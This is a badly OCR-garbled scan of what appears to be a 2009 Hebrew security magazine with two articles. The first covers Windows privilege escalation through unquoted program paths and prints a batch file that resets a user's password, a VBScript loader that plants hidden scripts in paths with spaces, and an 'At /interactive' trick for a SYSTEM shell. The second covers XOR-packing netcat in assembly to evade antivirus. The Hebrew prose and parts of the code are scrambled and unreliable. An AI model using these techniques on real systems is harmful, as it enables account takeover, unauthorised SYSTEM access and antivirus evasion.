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Privilege Escalation
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Crossroad nopnn Natya nn7on

"Crossroad" OWA N1d1 DI'N TA7IW NOPNNN 7Y [IWNRIN 210N NIX

Windows-n 7¢ 0'¥apn 7101 No>yn 'R 207 09X 1INIX N9PNNN DX D'Y¥AN 'R KW 199

:NQN [DINN DX 720 |0 DHXK Y27 11X D IX7 Y07 wnnunn Up'iaw 0fapn DX DNNNN

[ Gecho 31 %2 %3

VIV 7TNLVWN) ,NYR D'ODINY D'VINIAIRD DX JonN 2V A'¥n? XIn Echo nTIzon 7w nT'pon
.NDIN7 0ODINY V77N DT 3% 2% 1% - MWD IRY (INNKX IXAW N'9'¥90N NTIR97 echo off yxan

:0lp7'N2a 117W NIDINN NX NINWI DXY NNNIN NINT

|c:\Program files\Myapp dir\Myapp.bat

:NINQN NTIRON NIN 2NN 7101172'7 0101 TN

|c:\Program files\Myapp dir\Myapp.bat argl arg2 arg3

INQN V79N DX oONN 7V V79D 7271 INIX TX

|argl arg2 arg3

2'0N7 NXIN IRY NN DK DY XD 73R LT NNDNIMNA N1'R 7190

D'Xapn Ndyn

Mj7N2 .0'0MIIRN DX N7 NNAYN XK' PRENDTY DNXPPI79RND IR DNNKA NDIAN 'R |21 DD
:NINQN NIX2 ANIXR D' MR c:\Myapp.bat 2'N1a nngimn 17w Axp'oRnY

|c:\Myapp.bat argl arg2 arg3

N7'NNN - NNIX NRTL[IYRIN NINN MY DY D1'NRn DRENTY QXPP7980 DY DR DNNKRND DDWNN
077N IXY NIX N7 NODdN X' MNP X' DX ,DYZ'Y7ORD DY DT - [IYXIN NINN TV, NTNNNn

.0'0INIAND
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MDD AXRAYN DR 72721 INIXR 7Nt X7 Dp'79R0 DR NI NNl

'Myapp.bat' is not recognized as an internal or external command, operable program or
batch file.

01797 NU™NN NDWNNW 197 7aK ,q0NN 7V V'OI' T VY9N L2 -1AT 7Y 19101 (1N7W NIYLVN DO

QR 00N TIY NYUXI X', NDRTN NXR"AVUN DX

22T INIK D'2'NNN N .Y"’lﬁ'? DN NNIXY D'XAPZN IR INNXN NNKR 0YNN 'K XM IR

ININ N7Y yalzn Y Dig'mn

c:\Myapp.bat

NMNAN NMIYAN NX D'X'IN DNIXI

c:\Myapp.bat argl arg2 arg3

X2N [OIR] MIX YN NOVNN - DR YaIgnw NNl

"c:\Myapp.bat" "argl" "arg2" "arg3"

,D¥Y2 7IX 71727 NOIN X' ,0"T DN K7 NdwNN L(INIK 1PN - ND1) D' K7 Yalpnw npna

YAlzn N1 D NN W' yalpgn w2

Internet Explorer.exe

XN T N7y NMIwN NX Y'Wﬁ'? noln X'N TX

"c:\Myapp.bat argl" "arg2" "arg3"

D'OIMNIANRN Y NX '73|7YJ XINW NN INIX YN XD L,YAl? N1 DY DR

arg2 arg3

NNAN T 7Y NIYA DR YINY N0ANTL[1'01 TIV NN X' ,0"7 X7 KIN DX

"c:\Myapp.bat argl arg2" "arg3"

STAN VINIATN PO 7277 ANK KINY NN KD - YaIP DT D7 DX DX

arg3

NOINI ,NNN N'¥Z'79X X'N NXTN NTNNNAN 7D 0¥V 721X 21ITAN X' )70 K7 DTN |I'01N DX -1

:N2D NNIXK YnY?

"c:\Myapp.bat argl arg2 arg3"

.0ININ DIV 7277 "MK X7 nxp798Nw NNl
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119¢ ARWN NIR VI79N XNIEDYT 0NN 0¥ NOIYNN )70 K7 [INNKRN |1'01N DA OX ,02T 7w 19102

75 7¥N - MOYNN NNNQ 0YY DR ONKR? KID[I'YVIN PRIRVAN WY 1Y Ty Nt DR
,0N7W 2'MIAY D'¥Ap ?N9PNNY D'91YN NNNIX NIXT NN NXRTN N9pPNNnY7 D'91YN DNl D'YNNYNn
D'¥APN 72 - NNAIT? , TR NN I7'9X NN D' - DY INIRY YAIZN 7Y NNro? i L2100 7w NIKNN

JINTD NOpNnY? D'Iwn DY 7ma 7xaoda on - "Program Files" M D'NYNIY

,Ndwnn 7w ol 'oarn 0T ,"Windows Defender"-2 bn'7jpna niva ,Vista-2 wnnwin'? 0d7 X' DX
NT 01Nl 'VIX .Administrators NXIA7N YNNWN DA ,7Thn 1NN WnNwn 72 78X NiyY 11am xinl
-1 '7Dn01 IX L (Vista-2 wnnwn 72 7V nopnnn DX Y¥A7 TWONY INIKY NN) NINTA N9PNNnY7 qiun

:X2N NN9NA 121,17 X NN 'K Registry

HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Window
s Defender

:NIN 17W W

$ProgramFiles$\Windows Defender\MSASCui.exe -hide

U'Y niNa DAl "Windows Defender"-a D"pw NN DA ,NMign w2 qivn atn 27NN
29 nrrpDmn NP %YW Dipmn IR MIYY. DN nanwn AT - %ProgramFiles%"-a

:NIN 17U DIP'MN 79 NDIWNA .ATA YAIRN DX YN D'Y¥AZN NN 'R AR . Windows-n

IC:\Program Files\Windows Defender\MSASCui.exe

NN NIXA INIX AXN NNl

|C:\Program Files\Windows Defender\MSASCui.exe -hide

DY YAl 0?7 OXND L, NPTIA NOYNN -[IYKN iU}

|c:\Program

NN MY INIX YNNI D'0IMRIR NYI7Y 7277 1NKR RKINY 12N KD - YAl N1 0'7 DX

IC:\Program" "Files\Windows" "Defender\MSASCui.exe" "-hide"

:DWA YAl D" '"7IN 7ITAN X' L,YAI N1 DU X7 DI

"C:\Program Files\Windows"

:D'0ININ AW 17 00171 IMIX YIN7 NOIN X' LYAIR T DRI NN

"C:\Program Files\Windows" "Defender\MSASCui.exe" "-hide"
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YN XN NNWOKRYT NWAT7 NOIN X' ,D'{7 X7 DNI

|"C:\Program Files\Windows Defender\MSASCui.exe"

:NINQN T2 MK YONETAR VINRIKX 217277 MNK KINY NN KDY T D7 DX DX

|"C:\Program Files\Windows Defender\MSASCui.exe" "-hide"

AIXIY AT NOTYA Crossroad-7 DNAY N0 INIA L[1210 YAIPN DX INKT NN'7¥n Ndwnn -720 avna

DN YW 2150 7Y Program DwA yalyp

{122 ,N>YN7 0MDINN N¥INN '¥AR 721 Wnnwin'? 071! nNax

|.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC

21N NR NIXT7 "D ANaN MIwn IR CMD-1 1and> .PATHEXT nanwna nn'"'py nni'o 7> ,0xy2

Nnvnn

| echo $PATHEXTS

vyinn

YN L[IWRIN 0INIAXD DX 117 A'X'W DDV DN 7V Program.bat w2 VIWD NIIXN YAl 11X
:N2D 1DINA 12ND , 72N KINY 'l

o©°

echo %1 , %2 , 3

Pause

:NNAN MY DX 2Nl cmd-7 0101 ,ndwnn |31 INIX DN

|c:\Program Files\Windows Defender\MSASCui.exe -hide

XN NOAVNAY IND PITA YN ,0'RpN ['2AN D'01TON NIV

|ProgramFiles%\Windows Defender\MSASCui.exe -hide%

n72pw 079N NN

Files\Windows , Defender\MSASCui.exe , -hide
Press any key to continue

D221 1NNIX Qo .Windows Defender-n NX X71 N7W yaIzn NX N¥N DX NDWNN - 27 'y

NI .20 ICrossroad Y¥A? 1INT¥N [DRW NNIX NINT ,NIZNRN YAI7N 7¢ 2NN IXY NIX 10N19)
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2NN XINW INRY "cp77fk4r"-7 17w nno'on NXK NWY? -wnnwn 737 0Na% 0N 11NN N 1'yoy

N NTIRON ,NdwnY

net user %usernames cp/7fkédr

N¥ .NDIYN] Q'UPRN WNNWAN DY DX D71V NDIYANY INKRY7 121N NIY %username% ninwnn

:12 1aNd1 Program.bat owa yaip

@echo off
net user %username% cp77fkdr

Q'YTI' 12D 1INIX -NIYN MIYA YN XINY NIT?9N NX N7 X7 I7IOZ]I|7'7 NINIXK NIIYRIN Miivn

YUY X' NN

NNO'ON NX INXY7 MIY' N'VNIVIN -NDWNT7 MANN'Y WNNWN 75 ,1'Ydynl -NdYNN 21D INIX NNY
Ny cmd-n T YNN7 N0Y XMW yalp 7D -Dyva NN 7ax L,mnaw ntnnnY
TIUNT7 YNNWN? 0N NIV LYNOY NN, NRTA DTIRON NIK YN KIN D ?nnY? YN X7 Program Files-a

NINAN NNIYA 'Y NIR L ND9Y Y2lj72 2IN2]1 DAY 'RTD |3'7I ,INYnN2a

call "%~dO\program files\%~nl %~2"
exit

mivn ,Y'Wn'? YUl ynnunavy ndIinn NX Y'Wﬁ'? N'KINKX (YJIPJ NIYN) MIYXIN NIwn

:NDD NIXKINT ANKX YAl INT cmd-n 1700 NRXY? -N'w9wn

@echo off

net user %username% cp77fkdr

call "%$~dO\program files\%~nl %~2"
exit

NNO'oN NN NYT? NNWOK 17 N'nN X7 ,YIN2 702' -NInn XX NDYNY 010'Y Wnnwn 722 I'wdy ,INT

ITNIM2 N9'9 Crossroad 790 X'77 .17w

DNA'71 Privilege escalation yx2'7 0™210' 121NIX NOIYD N'ON' NP'AI7 NITYA 'R II'RY DTN N2
NINIPNA D'¥A7 NA'ND 11D -NINIAA NIKYIN 17 'K DN DA ,0NMINNC'0 NNYWY? D'wnnwnY

.Registry-2 0>V '"1'W IX ,0'N1Q2A
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-0 7T DAl NAT DA ,00%W D'¥APY DRI DNXWI ,TINN VIYD ?1TD N9PNN 190 DRIANN 'R
N'XM 'R ANMPNY Windows Defender-n Nk 117 W' N1 ,0"wWNA "W 2 DNIX 10MDN - Registry

NdD

c:\Program Files\Windows Defender\MSASCui.exe -hide |

M7 19N RPN DR WNI Registry-7 1010

"c:\Program Files\Windows Defender\MSASCui.exe" -hide ‘

.D'0INIAND 17 01007 NN PI'TAL 7Y DIP'MN NN RIMTA NYT? 7210 NDwnn ndd

DI'XP'?DN NT'R 0P N"IT ARNXINE NDIYNAN DX NZYI0YW NTAN1 N1DIN 1AND FoundStone-n n'an nnd

:Xan |7]"73. NTIINT AWON .N71V X'NY QYD 72 XN NDIWNNY D'9IYN D' NN'YI

http://www.foundstone.com/us/resources/proddesc/diredetectinginsecurelyregisteredexecutables.htm

D'¥IN DNXRY DTIR9N DRI NDIYNN N'¥P79X7 2'NIN DX 17 000N DNXY VBS-1 [uj? 9RO 'MAND
[2MD ,N'¥PM7ORN NNINYG 2'NIN NIX? 0'¥27 DO7 DPZAN TA7 NN -NNIX IR O'¥NY R ynne
N'YP'9RN N NMINK7I DNODNY NTIRPON NX DY INY DNNOIN 0¥ 0N XY RINY D'Y¥A7nY

017071 TIVN' X7 wnnunnw DA nupiann

REM Privilege Escalation Loader; by cp77fk4r / 03.06.09

Int cnt
Dim path,dir, cmd
Dim objFSO, strFile, objFile

Set objFSO = CreateObject ("Scripting.FileSystemObject")
path = InputBox ("FullPath:"+vbCRLF+" (Example: C:\Program
Files\Google\Gmail Notifier\gnotify.exe",,, 5000, 4000)

cmd = "Set objShell =

CreateObject ("+chr (34) +"WScript.Shell"+chr (34) +") "+VvbCRLF
cmd = cmd + "a = objShell.Run ("+chr(34) +

InputBox ("Command: "+vbCRLF+"Example: Net user $%username$
1337")+chr (34)+", 0 , 0)"+vbCRLF

cmd = cmd + "a = objShell.Run

("+chr (34) +chr (34) +chr (34) +tpath+chr (34) +chr (34) +chr (34)+") "

dir=Split (path,"\")
cnt=0
For i = 0 to UBound(dir)
if InStr(dir(i)," ") then

Privilege Escalation
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cnt=cnt+1

strFile = split(dir(i))
If ((objFSO.FileExists (path)) or
(objFSO.FolderExists (path))) Then
Set objFile = objFSO.CreateTextFile (fpath &
strFile(0) & ".vbs")
objFile.WriteLine (cmd)
objFile.Close
set objFile = objFSO.GetFile (fpath & strFile(0) &

1] .VbS")
objFile.Attributes = objFile.Attributes + 2
else
WScript.Echo path & " Not exist"
WScript.Quit
end if
end if

fpath=fpathé&dir (i) &"\"
Next
WScript.Echo cnt & " files writed."
WScript.Quit

At.exe - NIN'YNN [NTNN NITYA NnY70n

N2INI1 VIYD NIF NQN NN IT 7002 [I'VAan .ANK aion gty ,|'1|7'Jll'7 TIV NXN1 DNIX XN "My

.0'7¥I0 1INIX INIRY 217 NNVAX 7W01 12ITA DT NN DA 72X ,NMIYRIN NNn70nnn VIXA7? 77 e

[AT2 NN"I0ON NN'YN Y¥17 N7Y9n Ndwn? ' Tan? - "Nin'wn Inrn" y¥a? nnwox vt Windows-a
NYYN YIANWII ,U¥I7 NX) UNNYNN NNIRY NN'YAN IR JINYN DDWNAN YA XpiT IX?1,D"10Nn
,2AUNNN 12 ,NDIN DX NIYT D710 IN'YNN .AN'YNN NIX YXAN DWNN - Upd Unnunny

DK N71V9 72 IR ,'W N7uoNn

[ATN? 712' X7 722m wnnwn - 722 X7 wnnwnn 1 y¥a7 'WON Xan Privilege escalation-n NX

.System NIXWIN 72177 X2 7w5N NNTYA 17010 NDWWNA 720 Wnnwn 7w [1Iawn D)7 W' OX .Nin'wn

vin'nn

:0W 1AN>N1 Cmd-7 1010

At

Privilege Escalation
www.DigitalWhisper.co.il
12 2009 Naopix 1 '




Technologic

:027 NLY1I9 NO>YYNN DX

|access denied

:02'7 NV719 NOWNN DX 7aX,722IM YNNWN 7V DNRY NXI1D

|There are no entries in the list

-7 W'Y NINYONN DX 17 W' DAY TNIRY N System 7V Y1 At 21970 XX 1200 101N |12 DNX
0IN'l 'VIXY7 DNA7 'TO1 IX,DINTINA D122 Y¥A7 1O DTN QD71 D'UNNYNY 191 20T NnY ,System
,N7RN NMIpnn 727 Nwa? 7oA ,010 T D'WTNN DAIDTYN DR PITAY IR DINTINN NIno yyaY

J0wn7 AXR'm nwn atn 7" 21w R T Microsoft-2 n'hann

: cmd-2 12D Nyd

echo %time$%

MIMXY NANPN DRT? [INTNN DX DN -NPT IAYNY TV NPT 'YXNN NI 037 U'y 0'RIN DNX DX
D'¥M 1INIXY NR'YNNLUPIR JINV INY7 ,ANNR XIANY DRPT7 DIDN -AT 2'901n D)7 'K DX VN7
-N T 0O DY WPNT7 DA '721W DA Interactive 7w a¥na -|aImd ,cmd.exe X'N At-7 0'1d0Y

.System-n 7w session-n 72y YN X'7w1 117w explorer

lAt HH:MM /interactive cmd.exe

-1and ,13:20 YWl N1 .0PT 970 IVUNWI NANNY nYywn MR 0'Nyin DNX HH:MM-QY |amo]
7V 175M0 ,CTRL+ALT+DEL 2y 1¥n7n ,cmd D27 Y1977 MM -)"MxY 1nd y¥ann 750 ox .[.13:21

NN 1IN0N ,Processes

‘"Show Processes from all users"

-¥ NN 72 y¥a7 D™D DNKX DT L] ,system wnNNwNN NNN Y'9IN RINY INONI - cmd.exe NIX 1IW9NN

:0V9N DY 1AND ,cmd.exe-7 AW 1V'aN1,790 NA0 ,Inwn TIY NXM IR .W¥A7 71D System

IAt HH:MM /interactive explorer.exe

Iwonn ,Windows Task Manager-7 21v 1010 .[NIPT 'NY TIya N'NNY NYWN NIX D'MYIN DNX DYON]
UNNYNNY D0'70NN 72 DX N0 - 012 .INIX NA0NI D7 Wnnwnn 7V Yy explorer.exe-n NX
710! XIN 17N NNIY NIRYINA DIPXPYOXR YN nom explorer-nw a¥na ,0'ysY?) .y n nd7v
MY TIVY? AT DX DN 271 -D07W wnnunin NN 0¥ 070NN 722 IR 1207 Ty 27 ,upnn?

(NPT TV RN NIpT

Privilege Escalation
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22,7 10N NN X Dd7m LJNNX DNNA0 - Taskmgr.exe-n NXY [21N21,700 DNNAOYW NN
[N7IUN DO7 [YONT7 MK -[121 720 DN'WY OXIL,NIPT 'MYN NAY'Y 1DNN L0171 "7nnn" von
D'¥"N 0NN LD ?n7wNn7 2md nn - "7nnNn"-n W on v 1Ixn7n qion Tv N7y 0w pNn L, nTIay
nn explorer-n 7¥ NIFA7'2M950 DX WA DT IXNY NN 70V [2InD ,System-n 7w nTIAY [N71Wn DX
1013 VIYS ,NDIWNN 7V INK [IAWN 73 7Y IX -NTN [I2WNN 7W NNO'ON NR NIYWT7 0710 DNIKY TNINY

JTNN 72 7W Nno'on DX NIRYY DWI NRIAWN 7100 W [17'X7 012N nive

N7 0T aNQ Vista-aw 72 ,Sp2-2 170na ATh ANAN DX ' DTN NRYI K7 Microsoft-2 n"ann

(; Windows Defender-n nx 117 w' Vista-2,|9IX 702 .07

nin'o

[AMD .0"AI7 DY7WD 717 NIN AXINY [1I'VAN .I0N TV [AIN 'MN20NY NN 0w Diizn R LIy InT
D'MYON 2N 72K ,0M7 XPIIT IX? DNY D'7WD W'Y D'AXN] DA DRTN N9PNNN DX WNn'? TWORY

JIDWNN 27U MI0ZVDIRN IX MIXNN 7w 017 I'N D'7wdN Privilege escalation-1 Dna 07w

Privilege Escalation
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Manual Packing
(HLL) 'yram'n 770 nxn

nNTEN

NO'NT7 NN TV "TITR' IN 'NTIR' N2 "y IX7 MmN IXR? 178 ontMw Packing namn
NO'NT D'YXIN TWKRD MIPY N7 NNIT [NV ,NTIRD 770N .121¥'N 2D IX K77 n¥an Yaig v
I'TN' D'9IXNA D'OINTN DYININ DAl NO'NTN [12211 DA 1AW V'7nn |, Self-Extracted Archive -7 yaiz 7w
N7X 2NN YaIpn 7 17712 2yt Tyn 12'R 0T INRNA 1R ON'NIY NTAIRD 70N NNR ARG

Y2172 K¥Nn1n Napnn TR 7w (W1owo) Obfuscation yixa?

DN'X TN' X ,N'ONIVIR NMIX2 AT 1"7nnn TIN D'YXINY D'UNIVIXK D7D NINN X7 DX NNYY Y
D'VNIVIND TR '7DN ,7'7n 901211 ,'ONIVIXR |9IRA ITN NTAXRN NX NINS7 DWTI'N 07D DA om'yp

.0N''0IX "V NIZPA IN'T? NINIY YaIZn 7Y An'hin D'y'on

A7 '0'011 201N 1'R 772 70NN .NAT ATAIN )'70N 79 YINKa? NNpY NnalT X' N7 1NRNn2
[12207 QIPY7 D'¥N DNXRE DT 027 2ITY! D 7'V 72X ONMI'VIRND 7D 75 IR 0'' X7 )'70NNN ,DINIX

L1721 0'dNINN NING NXp D'ON'I'VIX,,|DIN 'O

DT NIYAT

Awnina Olly owa 1ix'pa N1DINN DX 1121 .2.0-n ndiman nona Ollydbg e

.0910NP'" M 7w Object '¥ap 7w PE Header-n NNNID N>MYY 'win'y "7 - LordPE e
Notepad e

."722N0XK NSV '0'0Q VT e

NetCat " INIX 122' 77N - nc.exe -2 YNNWN X ,NT IAXRNY - TTIP? D2"1yn N0 MIX Y2 e

" A Hacker Swiss Army Knife -

Manual Packing
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VNVOAX

TIZN NO' ,NNIPNRN NINN N7NNN 197 N¥INY TVIMY '7200K1 TI NO'™ 07N INIX AT INXN2

117w Packer-n NX 0l 17w Unpacker-n DR NIINAY TN DY N1 7"0

2V - AN N2 NINdY IT'PONY N7W TIPN YOR YN', N'¥R798N N7Y9N NYaY ,XIN Mp'y 170NN
,N¥IN7 [N X7 Yalpn NRDINN N'WO NYaY XD MDD YN DAY AN DRY TIga DX [N
"N 7Y NNRNIYRIN DNIY DNl LINT'NAY7 AN9ND [9X1Y/TTIR' yaln 'In'T? [N 1'K DA D "'l
TP INW DX NINS7 N"V 0T NN9N2 wIN'y y¥a' (Tayn? XNp [OX XINW) 17¢ TIgn yop ,N20Inn

R N0MYUN IR VNTIEDYYZTORD

NI71Y9 1901 Y¥I7 10X DT NIXY?
.(D'M2 30-2 VX)) DIPN T OY WIN'WA I'RY T ATR DR .1
¥ D N'DINN 7Y PE Header-n NN NY7 .2

(nxn |NT2 INIX DIYN 1INIXRY |II'DYJ) TIpPN UUPYJ'? MM NIRYAN AN e

179 TR N19'W )0, NDINN 7w Entry Point-n Nk nwa e

(M™% D21 NNY'DY DA NRTI7N NNIXR IT N7V NNjPNA) yalpn DX NNWSAN NR7170 R MDY .3

JI'WRIN NIDINYT NNTh N0'Y7WN DX NN'avn ,nniroal

JINyonn NX7170 oy TN',WTN EXE YaIR? NTTIpnn IMIXa Tipn 7' nxamd? - 4

Manual Packing
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Packer -0 NIV [11ON1 '129 TI TR NX'¥N

NTI7 X non Olly, Olly oy yalzn NX DNIyVw INX? T' .Olly-1 yalpn N1'wva NTIAyn DX 7'Nn)

N7 IPPTIN DNX ,QWUNNT DNIXR NDT .NDINN 7 N0tdN

,Y21j72 DI7N D'O9IN ,0'¥PIN DNY DNITR , 0NN DNITX VYN X7 ANY% 0'7'on EXE 'va ,y'non [91IX2
DIN NN "IN NYOINN NX 7311 NNIX .WIN'W DI'R D71V7 X - N1'WO INX7 |ND'12 DAl L, HD-N 7y
TI7N yorna 91917 7'nnai Olly IR N7v1 ,TIXA 0VIYD 21T WYl 'R .1N7W TIpn DR DpnY 7210 1Y
[N D'NMY7 .yaIPn 7Y 19102 IX IN7'NN2A YI9] TIXA N7 1T MITR .0'0OX 7W §'¥1 1ITX D'YONN 1I1NIX

Y2172 DNKX D'77N2 DA AT TR RIXNY?

0llyDbyg - nc.exe MmEE

Fie View Debug Plugins Options ‘window Help

Sl x| wju] wi+ $1 A =] L{E[m{T[wn[c[/[k|E[R[..|s] [}

P
Ggagan
agnsez|] SEE L.
pebd| (e R = Eds £ BISBAKES ne. o ecnryPoint>
dgrsce(| 5 oFeEce 0US: Rk, AL EB< 7PFOS00H
gnge9 EBX EEF Bo15FFad
Cohaec) o £ EsI weagacy
b | EBI aopoooo
dgrsen(L: T EIP 0B424AC3 nc. <Modu LeEntruPoint>
d2o2E] £ 6 ES BB23 32hic GB(FFFFEFFE)
PR F 1 CS 081E 32bit OIFFFFEFFF)
457 | B & St 0923 Jnic OFFFFFFEF)
e 21 DS 0922 32bit BIFFFFFFFF)
2enar S8 FS0oap J2olc TFFOFBBOLFFF)
1o 6% 0ape HOLL
dgRord T
bt 06 LastErr ERROR_SUCCESS (BGO0B060)
agnar? EFL 006@B246 (MO, M, E, BE, M5, PE, GE, LE)
460576
T8 enpry 2.0
i ST1 tnoey .0
perEns 212 Inpey 810
agnare 515 enoty 0.0
468570 5T4 enpry o.@
dgRsTE 3% cnoey 0.0
agaare ST empty 0.9
praetd o
Pt 21 ESPuOZDI
] FST 008D Cond B 6 68 Ecc BOBB OO 68 (6T
FCU GzrF Pree NEAR,S@ Mask 111111
L
PLAEE =
gngze
d5rads =
gngse

FETORN %o Rerne (58, 7POEAST 1 =

D4,
BS| RETURN w0 nodl 1. P7oBEdse

1]

F|End of SEH chain
€ handler

5

EC
RETURN to ntdl |, 7PEEEAES from ntdl L. 7PSEEASF
iC&| no. <Hodu LeEntryFoint >

du I

125

ne. <radu LEEREryPalnt >
Fi 1] =l
FFFC| DODRE0Ga

Analysing nc: 133 heuristical procedures, 249 calls to known, 30 calls to guessed functions [ [Paused

,NYYNYT W'Y 1'RY 7172 770 yaIzn 9102 IR ([1'7vn 78w 27N02) N1imnha NIXYY [NIY 19D

TIPN Yo 7w 1910 TV yInwn Nt 770

EP -0 197 yxnn'w nhw TI7N DX DN 0wl ,0040A970 [1N2'TN NAINDA [NIONN DIZ'MA WNNW] 1R

JDIMn v N

Y270 7V DD7W ATIIRD NIX 7007 INON NDINA N AT'RNA KIN DONXY7 DIYA7 IDI0XNY 901 1T

N7 NI'N7 2N RIN - XY Packer -0 TIp IR TARY 0710 X7 DNX 700 TNRYT [N X7 .0 ATRT7 TVI

NNAIT? TN Yopn N7'NN DR N7NNN NAMDD NNnaT? 17 niwM Lp7 Ntoimn n7'nnn 12

Manual Packing
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AT'RN AT Mj7Na 40A96E nnaiT? 117w Unpacker-n Yo N'7'NN TV QAN DI'ON NAIND .0x401000

.0'N2 996E 19 7y ynwn TNXaY

NDINN 7¥ 100N 71 'Y TIEn yopn'? namd NIYON

-1 .0XM AT NDINN 7Y TIRN YO DIN DX MIY'Y TI7N YO NXINN Yalp 1IN7 27 02710 X

NAIPN NRDIN W 0720 A71W92 NPT MK IR QTIY [P AT 12T TA N1an nnt Windows

NN NN K7W RY ITY DD BUTDR'AYTA] v amdY |I'0"] N'N DXY KX'N NNINN N1an NN''pPY 2XNna

qYnn JHIdnn

AN D'RNNN (Section) VoA Attributes -0 12'W NIYYNAXA TIPN YOPN 7V Naann DX NIAdY N1

Sections 72V yn'1a ,(PE Edit NNN) %W yalzn DX INIWXNNA NNO) .LordPE NN n'7va N1 IxY7 ,PE-n

NN DX WA (Y DY 21N K7 DT R - 207 Y INT) text. YW yopnn DK 1N

pa- L R =i
Path [ PID [ ImageBase | ImageSize E ‘ PE Editor
S
[ PE Editor | - C:AWINDDWS\System32\nc. exe Bk bR
. [~ Basic PE Header Infarmation = Rebuild PE
| E ntryPaint: 000044C3 Subsystem: 0oz III 5 Hrrsplit
! ImageB ase: 00400000 MNumberQfS ections: 0003 e Dumper Server
SizeDfimage: ODOOFE 04 TirneD ateStarnp: HD2F254 | o — | UD—IUDHS
BaseOfCode: 00001000 SizeDfHeaders: 00001800 + | Direciories
Base0fData: 0000B 000 Characteristics: 10F| ... =
Sectiondlignment: | 00001000 Checksum: 00000000 2 | T About
Filelignment: 00001 000 Size0f0ptionalH eader: 00ED Exit
Compare
bl | 5 ection Table ] x|
Name W Offset YSize ROffset | RSize | Flags [
et 00001000 0000996 00001000 00004000 E0000020
.rdata 0000B000 00002744, 00o0B000 00003000 40000040
.data 000oE0a0 00oo01ED4 00ooEQao 00001000 Cooooo40

[ Edit SectionHeader ]

— Section Header

M arme: W Ok
Witualtddress: | 00001000 Cancel
YirtualSize: [ O000936E|

Rawlffzet: [ ooooioog,

RawSize: [ 00004000,

Flags: lmlj

[ Section Flags ]

—Set Flag
Shareable in memaory
w] Executable as code
]
| v ‘whiteable
E Contains extended relocations

™
£

Dizzardable a3 needed
Can't be cached
Mot pageable

O Contains COMDAT data

O Contains comments or ather infos

18
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VI ND'TA IMNOY ,1N7Y TIR7 NI9NY N'IDINYT N0'DN NTIRl NX DA NNRWY D'DMX 11NIX 9002
-n 7w (RVA Relative Virtual) Address -n nX |''¥'7 0'>"M¥ nNAX PE -0 WNid2 X ,0040A970 naimda

;NN NNOIIN 'O 7V TIAV1 NINT NIYYY? T2 .|ND'T 17W NAIMdN X71,wTnin EP
ImageBase + RVA = Virtual Address (address in memory)

NNIXY EP -n 7w RVA -n 97X ,0040A970 117 W'Y [IND'TA N*ZXRIVYIN NAUNdNN Yan7 n"v - Wni'D
DONON 1IY'NN ,'7w N7Na .LordPE -2 INIXKYY? [NW ImageBase -0 NX VA -0 [n 10N ,|"'X¥7 D'D"MY

JDImnn Entry Point -0 IN2 LordPE -2 |"¥X nNINI - A970 nainda

117 ART19D IR N7 7'NNNYI NWA7 QWO LPE-N TN 1XYW NN 70 IR 110WWY 'WDY

YA T TITEn NX7I7 namd

MetaSploit -2 ,NTN "7NN NX Y¥27 NN"PY NVIYO DN NNIXD KID DD A'¥N7 'MNNAY NTIRND 1220
75 7y XOR N71y9 Niy¥nxa Y¥INN 'MINAY NTIIRN .0 AXI'Y nn? 0'IT 070 om"7 Framework
XN 7Y XOR N1y Y11 OX 1ni?3 , N2 1T n71y9 n1'n XOR N71yo . Tipn yopn 7w o'nann TNX
199 RN WN D7 TN YN LIN0TR KN INIKA WTNN YN DY DY NNIR Y¥I |0

MY INIR TN 210727700 IR DD ,NXNYT 17W yalzn IR NNISY 170NN - [KoN

YOpP NN D7NY7 NV7NN 1AW DI'MY WAl OllyDbg-n Nk n'7v1 ,wNTin 72 NX Lord PE Dy 1107w INXY

TN

:Unpacking-nI Packing-n Nn'71y9 NX y¥ann 01171 020N DY '7200K TI7n Yo7 707

mov EDI, 00401000 g Start of area to be packed

mov ECX, 0996E g Amount of bytes from that address

packer loop:

xor byte ptr [EDI], 56 ; xor each byte. 56 is the key that we will
g use to xor each byte.

inc edi g move on to the next address to xor

loop packer loop g loop this 996E times

Jmp 404AC3 g Jmp to the original program EP

TIPN MIWKRIN DY91 ,(NINNKRN NTIR92 BreakPoint Dpn? |N'1) 7272 NN TIpn YO NX YN DX

NNIX NNO' KIN ,N5011 DYY INIX Y1 DX .N'1DINN v TH/M YOI DX TThH?!

Manual Packing
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Copy to "1 [¥N7 yN71 .wTN EXE - XINW 1N YAIPN DX 1INWI IRNRN Yalpn DX 0NN K7
VY'OIN |I7NN NIX 11207 N011 DX ,N7W wTNN EXE -0 DX 700 17N 72721 executable -> All changes

2 |21 NNAXLINIX MW7 0¥ 1INIX OXD D78 1197

2 1'woy .1n7w Packer-n TI 7R NN'W' NN XIN NN WTNN Yalzn DX Olly NIv¥nXa INNS 1'wdy
XOR yx2' NTN TIPN YORW 7'2awa yalpn N¥N X772 NNXK DY9 nX7170 X Yn7 0T NIwy? "NnY an

11y P70 704

Yalpn DX XN (jmp) NAINNXRD NTIRoN 7V BreakPoint mjm

D07 VW' X471 '11'wW7 A% DY XY XInY INIR AT DITIR9N X DITNA 0O% yaix X7 Olly oX _:niya
TIZD YON N'7'NNA Y INWTIR DAY VIYD AT (2a820) 7V NIYNaY? "1 ,wTn Yaip'? o"nn'wn X
yopma yxana? nninv nonnwy 2% n'wh Olly-7 nnar At ,Nnwxni Ctrl+E Iwyn g1 ,nwn X -

N7

S 7an0K TI A'¥n? Dump view -0 NIX 111D ,N'01AYR NIIXA )"70NN DX NIKYT7 O'¥N DNX DX :DY¥D
TIPN TXD IR Step over -0 NINDd 7V W1 QIW IXN'7 |20 INKR7,[ND'TN T N7'NN NAUNDYT 1¥9771

.©2man TIxn ,N'DINN TIE DX TR D27

File Yew Debug Plgins Oplions Window Help _[=] x|

1 2] +] cle/mjT]wH[c|/|&[B]R]..5] [£]

BCHG AL, AH a | Begisters (FPU) < < < < < < < < < < < < <
A e ?é e PP [T
B3 et ECH 0809543
i B EDH B04BR07E no22. odk LeEneryPaine>
. EEH 7L
(i B £2F doioeea
00 a-a) £ oalzrEsd
A FHELY CEEEED EDL 0401628 nc22.BEd01626
SBE AL, BFF EIF BB4BAS?D ne22.BA40RS70
JOUSRNEAZEAL £ 2 E3 8023 3mbir O(FEFFEEET)
e E F B C5BG16 3%hit &FEFEEFEF)
o R 58 £ bams oy B(EEEFEFEE)
o 2B 05 BEZ3 32bit A
e §8 %2 5o vl FORmooure
£ 'S Te G5 eeac NULL
0e
